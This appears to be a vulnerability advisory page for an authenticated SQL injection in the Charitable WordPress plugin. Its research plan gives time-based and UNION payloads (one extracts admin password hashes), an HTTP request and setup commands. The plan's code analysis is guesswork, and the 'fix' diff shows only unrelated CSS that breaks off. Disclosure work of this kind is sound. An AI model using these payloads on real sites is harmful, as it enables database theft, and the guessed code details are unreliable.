Charitable <= 1.8.10.4 - Authenticated (Custom+) SQL Injection via 's' Search Parameter
Description
The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to generic SQL Injection via the 's' parameter in all versions up to, and including, 1.8.10.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with access to the donation management admin area (requiring the edit_others_donations capability) and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.10.5
Source Code
WordPress.org SVNThis plan outlines the research and execution steps for demonstrating the SQL Injection vulnerability in the Charitable plugin (CVE-2026-7619). ### 1. Vulnerability Summary The Charitable plugin (<= 1.8.10.4) is vulnerable to an authenticated SQL Injection via the `s` search parameter. The vulnerab…
Show full research plan
This plan outlines the research and execution steps for demonstrating the SQL Injection vulnerability in the Charitable plugin (CVE-2026-7619).
1. Vulnerability Summary
The Charitable plugin (<= 1.8.10.4) is vulnerable to an authenticated SQL Injection via the s search parameter. The vulnerability exists in the donation management admin area, likely within the Charitable_Donation_Query class (or similar logic handling the custom donation list table). The plugin fails to use $wpdb->prepare() or adequate escaping (esc_sql) when incorporating the search string into the SQL WHERE clause, allowing an attacker with the edit_others_donations capability to inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/edit.php(or/wp-admin/admin.php?page=charitable-donations) - Query Parameter:
post_type=donation - Vulnerable Parameter:
s(The search query string) - Authentication: Required. The user must have the
edit_others_donationscapability (typically held by Administrators, Editors, or custom Charitable roles). - Preconditions: At least one donation should exist in the database to ensure the query execution path is fully traversed.
3. Code Flow
- Entry Point: The administrator navigates to the Donations list page in the WordPress dashboard (
/wp-admin/edit.php?post_type=donation). - Search Submission: The user enters a search term in the search box, which is sent as the
sGET parameter. - Query Logic: The Charitable plugin intercepts the query process for the
donationpost type. It constructs a custom SQL query to search through donations, donor information, and meta fields. - Sink: Inside the query building logic (likely in
includes/donations/class-charitable-donation-query.phporincludes/admin/donations/class-charitable-donations-list-table.php), thesparameter is concatenated into aLIKEclause. - Vulnerability: The code resembles:
$search = $_GET['s']; $sql .= " AND (p.post_title LIKE '%$search%' OR pm.meta_value LIKE '%$search%')"; $wpdb->get_results($sql); // Vulnerable sink: raw SQL execution - Result: The injected SQL is executed by the database.
4. Nonce Acquisition Strategy
While WordPress admin list tables (edit.php) generally allow searching via GET without a nonce, Charitable's custom list table or dashboard might involve one.
- Identify Page: Navigate to the donation list page.
- Check for Nonce: Use
browser_navigateto/wp-admin/edit.php?post_type=donation. - Extraction: If a nonce is required for search (unlikely for GET
sbut possible if handled via AJAX), check the HTML source for a localized script.- Potential JS Variable:
charitable_adminorcharitable_donations_list. - Command:
browser_eval("window.charitable_admin?.nonce").
- Potential JS Variable:
- Standard WP Search: If it's a standard Post Type list, no nonce is required for the
sparameter.
5. Exploitation Strategy
A time-based blind SQL injection is the most reliable method for a proof-of-concept.
Step 1: Authenticate
Perform a login as a user with sufficient privileges.
Step 2: Establish Baseline
Request the donation list with a normal search term and measure response time.
- URL:
/wp-admin/edit.php?post_type=donation&s=test
Step 3: Trigger Time Delay
Inject a SLEEP() command. The payload must account for the LIKE quotes and parentheses.
- Payload:
test') OR (SELECT 1 FROM (SELECT(SLEEP(10)))a) OR ('1'='1 - Encoded Payload:
test%27%29+OR+%28SELECT+1+FROM+%28SELECT%28SLEEP%2810%29%29%29a%29+OR+%28%271%27%3D%271
HTTP Request:
GET /wp-admin/edit.php?post_type=donation&s=test%27%29+OR+%28SELECT+1+FROM+%28SELECT%28SLEEP%2810%29%29%29a%29+OR+%28%271%27%3D%271 HTTP/1.1
Host: localhost
Cookie: [AUTH_COOKIES]
6. Test Data Setup
- Install Charitable: Ensure the plugin is active.
- Create Donation: A donation must exist to trigger the search logic.
wp post create --post_type=donation --post_status=publish --post_title="Foundations of Hope" - Setup User: Use an existing administrator or create a user with the required capability.
wp user create attacker attacker@example.com --role=editor --user_pass=password # Ensure Charitable caps are assigned if not default wp eval "charitable()->access->get_role('editor')->add_cap('edit_others_donations');"
7. Expected Results
- Baseline Request: Response time < 1 second.
- Exploit Request: Response time > 10 seconds.
- Database Behavior: The
SLEEP(10)function is executed once for every row processed in theWHEREclause that satisfies the preceding conditions, or once if theORlogic is structured to execute the subquery.
8. Verification Steps
After the HTTP request, verify the database state to ensure the environment remains intact:
- Check the WordPress debug log (
wp-content/debug.log) for SQL errors if the payload was slightly malformed (indicates injection success). - Use WP-CLI to confirm the database is responsive.
9. Alternative Approaches
If time-based injection is throttled or fails, attempt Union-based extraction:
- Determine Columns:
s=test' UNION SELECT 1,2,3,4,5,6... -- -- Increment numbers until the page loads normally without a database error.
- Extract Data:
s=test' UNION SELECT 1,user_pass,3,4,5... FROM wp_users WHERE ID=1 -- -
- Refinement: If single quotes are escaped by
magic_quotesor similar filters (unlikely in modern WP but possible via some WAFs), use0xhex encoding for strings:WHERE user_login = 0x61646d696e(hex for 'admin').
Summary
The Charitable plugin for WordPress (<= 1.8.10.4) is vulnerable to an authenticated SQL Injection via the 's' search parameter in the donation management admin area. This occurs because the plugin fails to properly escape user input or use prepared statements when constructing search queries, allowing attackers with the 'edit_others_donations' capability to execute arbitrary SQL commands.
Security Fix
@@ -493,7 +493,7 @@ @media screen and (max-width: 1200px) { body.post-type-campaign form#posts-filter .tablenav.top { - max-width: 500px; + /* max-width: 500px; */ display: table; } body.post-type-campaign form#posts-filter .tablenav.top select { @@ -555,6 +555,17 @@ width: 100%; } } +/* + * Override the margin-top: 46px rule above for the campaign header — keep it + * flush against the admin bar at narrow viewports rather than leaving an + * empty 46px gap. Cascade order makes this rule win at <=782px since both + * media queries match and this one is declared later. + */ +@media screen and (max-width: 782px) { + body.post-type-campaign.admin-bar #charitable-admin-header { + margin-top: 0; + } +} @media screen and (max-width: 600px) { body.admin-bar.post-type-campaign #charitable-admin-header, body.admin-bar.charitable_page_charitable-dashboard #charitable-admin-header { @@ -1 +1 @@ -/** * Charitable Admin Dashboard V2 Styles * * @package Charitable/Admin/Dashboard V2 * @since 1.8.1 * @version 1.8.1 */@import url("https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;800&display=swap");.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav{font-family:"Inter", sans-serif !important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav .alignleft,.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav .alignright{margin-top:10px;margin-bottom:10px}.charitable-dashboard-v2-header{margin-top:40px;margin-bottom:40px}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content{display:flex;justify-content:space-between;align-items:center;max-width:1172px;margin:0 auto}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-left h1{margin:0;color:#303442;font-size:24px;font-weight:600;line-height:1.2}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-right .charitable-button{background-color:#5AA152;border-color:#5AA152;color:white;padding:8px 16px;font-weight:500}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-right .charitable-button:hover{background-color:#43833b;border-color:#43833b}.charitable-dashboard-v2-header-bar{display:flex;justify-content:space-between;align-items:center;width:calc(100% - 60px);height:80px}.charitable-dashboard-v2-header-bar .charitable-dashboard-v2-header-bar-left{display:flex;align-items:center}.charitable-dashboard-v2-header-bar .charitable-dashboard-v2-header-bar-right{display:flex;align-items:center}.charitable-dashboard-v2-header-bar-chart{width:100%;height:300px;margin-top:20px}.charitable-dashboard-v2-header-bar-chart .charitable-headline-graph{width:100%;height:100%}.charitable-dashboard-v2-header-bar-chart .charitable-headline-graph .apexcharts-canvas{margin:0 auto}#time-period-filter{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding:5px 30px 5px 12px;background-color:#F9F9FA;color:#52545F;border:1px solid #E4E4E7;border-radius:4px;height:40px;font-family:"Inter", sans-serif}.charitable-dashboard-v2-download-button{font-family:Inter;font-weight:600;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0px;color:rgba(14, 33, 33, 0.7);background:white;border:1px solid rgba(14, 33, 33, 0.14);border-radius:4px;padding:10px 16px;height:40px;cursor:pointer;transition:all 0.2s ease;display:flex;align-items:center;gap:8px}.charitable-dashboard-v2-download-button:hover{background:rgba(14, 33, 33, 0.02);border-color:rgba(14, 33, 33, 0.2)}.charitable-dashboard-v2-download-icon{width:15px;height:14px;color:rgba(14, 33, 33, 0.7)}.charitable-dashboard-v2-print-button{display:flex;align-items:center;justify-content:center;width:40px;height:40px;padding:0;background:#fff;border:1px solid #E4E4E7;border-radius:4px;cursor:pointer;transition:all 0.2s ease}.charitable-dashboard-v2-print-button:hover{background:#F9F9FA;border-color:rgba(14, 33, 33, 0.2)}.charitable-dashboard-v2-print-button:focus{outline:none;box-shadow:0 0 0 1px #E4E4E7}.charitable-dashboard-v2-print-button .charitable-dashboard-v2-print-icon{display:block;width:16px;height:16px}#charitable-dashboard-v2-print{display:flex;align-items:center;margin:0;padding:0}.charitable-dashboard-v2-stats-row-section{padding:0 0 20px 0 !important}.charitable-dashboard-v2-stats-row-section .charitable-dashboard-v2-header-bar{padding:0 30px}.charitable-dashboard-v2-stats-row{display:flex;width:100%;border-top:1px solid rgba(25, 29, 45, 0.15);border-bottom:1px solid rgba(25, 29, 45, 0.15)}.charitable-dashboard-v2-stat-item{flex:1;padding:30px;border-right:1px solid rgba(25, 29, 45, 0.15);text-align:left}.charitable-dashboard-v2-stat-item:last-child{border-right:none}.charitable-dashboard-v2-stat-title{font-family:Inter;font-weight:500;font-style:normal;font-size:12px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.6);margin-bottom:8px}.charitable-dashboard-v2-stat-amount{font-family:Inter;font-weight:600;font-style:normal;font-size:20px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);display:flex;align-items:center;gap:8px}.charitable-dashboard-v2-stat-change{display:flex;align-items:center;gap:4px;font-family:Inter;font-weight:600;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0px;color:rgb(49, 148, 77)}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-positive{color:rgb(49, 148, 77)}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-negative{color:rgb(220, 38, 38)}.charitable-dashboard-v2-stat-change.charitable-dashboard-v2-stat-change-zero{color:rgb(0, 0, 0)}.charitable-dashboard-v2-layout{display:flex;gap:20px;margin-top:20px;max-width:1172px;margin-left:auto;margin-right:auto}.charitable-dashboard-v2-layout .charitable-dashboard-v2-left-column{flex:0 0 700px;display:flex;flex-direction:column;gap:20px}.charitable-dashboard-v2-layout .charitable-dashboard-v2-right-column{flex:0 0 452px;display:flex;flex-direction:column;gap:20px}@media (max-width:1200px){.charitable-dashboard-v2-layout{flex-direction:column}.charitable-dashboard-v2-layout .charitable-dashboard-v2-left-column, .charitable-dashboard-v2-layout .charitable-dashboard-v2-right-column{flex:1 1 100%}}.charitable-dashboard-v2-section{background:white;border:1px solid rgba(24, 36, 69, 0.1);border-radius:4px;box-shadow:0 3px 3px rgba(0, 0, 0, 0.05);min-height:120px;overflow:hidden}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header{height:70px;background:white;border-bottom:1px solid rgba(24, 36, 69, 0.1);display:flex;align-items:center;justify-content:space-between;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header h3{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:17px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle{display:flex;align-items:center;justify-content:center;width:24px;height:24px;text-decoration:none;color:rgba(25, 29, 45, 0.6);transition:color 0.2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle:hover{color:rgba(25, 29, 45, 0.9)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-toggle .charitable-dashboard-v2-angle-down{font-size:16px;transition:transform 0.3s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav{display:flex;align-items:center;height:100%;width:100%}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item{display:flex;align-items:center;height:100%;padding:0 30px;font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:14px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.5);text-decoration:none;border-right:1px solid rgba(24, 36, 69, 0.1);transition:color 0.2s ease;cursor:pointer}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item:last-child{border-right:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item:hover{color:rgba(25, 29, 45, 0.7)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav .charitable-dashboard-v2-tab-nav-item.charitable-dashboard-v2-tab-nav-active{color:rgb(51, 132, 42);border-bottom-color:rgb(51, 132, 42)}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content{padding:0 0 20px 0;transition:all 0.3s ease;overflow:hidden}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content p{margin:0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content:has(.charitable-dashboard-v2-enhance-grid){padding:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content:has(.charitable-dashboard-v2-latest-updates-background){padding-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content .charitable-dashboard-v2-tab-content{display:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-section-content .charitable-dashboard-v2-tab-content.charitable-dashboard-v2-tab-content-active{display:block}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible .charitable-dashboard-v2-section-content{max-height:none;opacity:1;transition:max-height 0.3s ease, opacity 0.3s ease, padding 0.3s ease}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible.charitable-dashboard-v2-collapsed .charitable-dashboard-v2-section-content{max-height:0 !important;padding-top:0 !important;padding-bottom:0 !important;opacity:0;overflow:hidden}.charitable-dashboard-v2-section.charitable-dashboard-v2-collapsible.charitable-dashboard-v2-collapsed .charitable-dashboard-v2-toggle .charitable-dashboard-v2-angle-down{transform:rotate(-90deg)}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section){padding:20px}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section) h3{margin:0 0 15px 0;color:#303442;font-size:18px;font-weight:600}.charitable-dashboard-v2-section:not(.charitable-dashboard-v2-right-column .charitable-dashboard-v2-section) p{margin:0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns{padding:0 !important}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-section-header{padding:0}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-section-content{padding:0 0 20px 0 !important}.charitable-dashboard-v2-section.charitable-dashboard-top-campaigns .charitable-dashboard-v2-empty-state{padding:30px 30px 10px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content{display:flex;justify-content:center;margin-bottom:30px;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items{width:100%}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item{display:flex;align-items:center;padding:15px 0;border-bottom:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item:first-child{border-top:none;padding-top:0px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item:last-child{border-bottom:none;padding-bottom:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-icon{width:24px;height:24px;flex-shrink:0;margin-right:15px;display:flex;align-items:center;justify-content:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title{flex:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title a{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-content .charitable-dashboard-v2-quick-access-items .charitable-dashboard-v2-quick-access-item .charitable-dashboard-v2-quick-access-title a:hover{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer{height:70px;background:rgb(254, 248, 243);margin:20px 0 0 0;display:flex;align-items:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content{display:flex;justify-content:space-between;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link{display:flex;align-items:center;gap:8px;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link .charitable-dashboard-v2-rate-text{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0px;text-align:right;vertical-align:middle;color:rgb(43, 102, 209)}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link .charitable-dashboard-v2-arrow-icon{color:rgb(43, 102, 209);width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-left .charitable-dashboard-v2-rate-link:hover .charitable-dashboard-v2-rate-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-right .charitable-dashboard-v2-stars{display:flex;gap:3px}.charitable-dashboard-v2-section .charitable-dashboard-v2-quick-access-footer .charitable-dashboard-v2-quick-access-footer-content .charitable-dashboard-v2-quick-access-footer-right .charitable-dashboard-v2-stars .charitable-dashboard-v2-star{color:#FFD700;font-size:18px;line-height:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:1fr 1fr;gap:1px;background:rgba(24, 36, 69, 0.1);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item{background:white;padding:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header{display:flex;align-items:center;gap:10px;margin-bottom:15px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header .charitable-dashboard-v2-enhance-grid-icon{width:20px;height:20px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-header .charitable-dashboard-v2-enhance-grid-title{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:14px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-description{margin:0 0 15px 0;color:#52545f;font-size:14px;line-height:1.5}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button{background:white;border:1px solid rgba(14, 33, 33, 0.14);border-radius:4px;padding:8px 16px;font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:500;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0px;color:rgba(14, 33, 33, 0.8);cursor:pointer;transition:all 0.2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button:hover{background:rgba(14, 33, 33, 0.05);border-color:rgba(14, 33, 33, 0.2)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button{background:#eaa251;border-color:#eaa251;color:white}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-grid .charitable-dashboard-v2-enhance-grid-item .charitable-dashboard-v2-enhance-grid-content .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button:hover{background:#d89447;border-color:#d89447}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background{background:rgb(254, 248, 243);margin:0;padding:20px 25px;border-bottom:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex{display:flex;gap:10px;align-items:flex-start}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-icon{flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-icon .charitable-dashboard-v2-latest-updates-icon-placeholder{width:26px;height:26px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content{flex:1}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-headline{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:-4px 0 15px 0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features{display:flex;flex-wrap:wrap;gap:5px 12px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features .charitable-dashboard-v2-latest-updates-feature{display:inline-flex;align-items:center;gap:6px;font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:500;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features .charitable-dashboard-v2-latest-updates-feature .charitable-dashboard-v2-latest-updates-checkmark{width:9px;height:7px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-button{background:rgb(90, 161, 82);border:none;border-radius:4px;padding:10px 20px;font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:700;font-size:13px;line-height:16px;letter-spacing:0px;text-align:center;vertical-align:middle;color:rgb(255, 255, 255);cursor:pointer;transition:all 0.2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-button:hover{background:rgb(69, 123, 63)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer{height:70px;background:white;margin:0;display:flex;align-items:center;border-top:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content{display:flex;justify-content:flex-start;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link{display:flex;align-items:center;gap:8px;text-decoration:none;transition:gap 0.3s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link .charitable-dashboard-v2-blog-text{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0px;text-align:left;vertical-align:middle;color:rgb(43, 102, 209)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link .charitable-dashboard-v2-arrow-icon{color:rgb(43, 102, 209);width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link:hover{gap:4px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link:hover .charitable-dashboard-v2-blog-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts{margin-top:35px;margin-bottom:15px;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row{display:flex;flex-direction:row;justify-content:space-between;align-items:center;margin-bottom:40px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row:last-child{margin-bottom:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left{width:282px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-timestamp{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:500;font-style:normal;font-size:13px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.6);margin-bottom:15px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title{margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title a{font-family:Inter, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:14px;line-height:170%;letter-spacing:-0.25px;color:rgba(25, 29, 45, 0.9);text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title 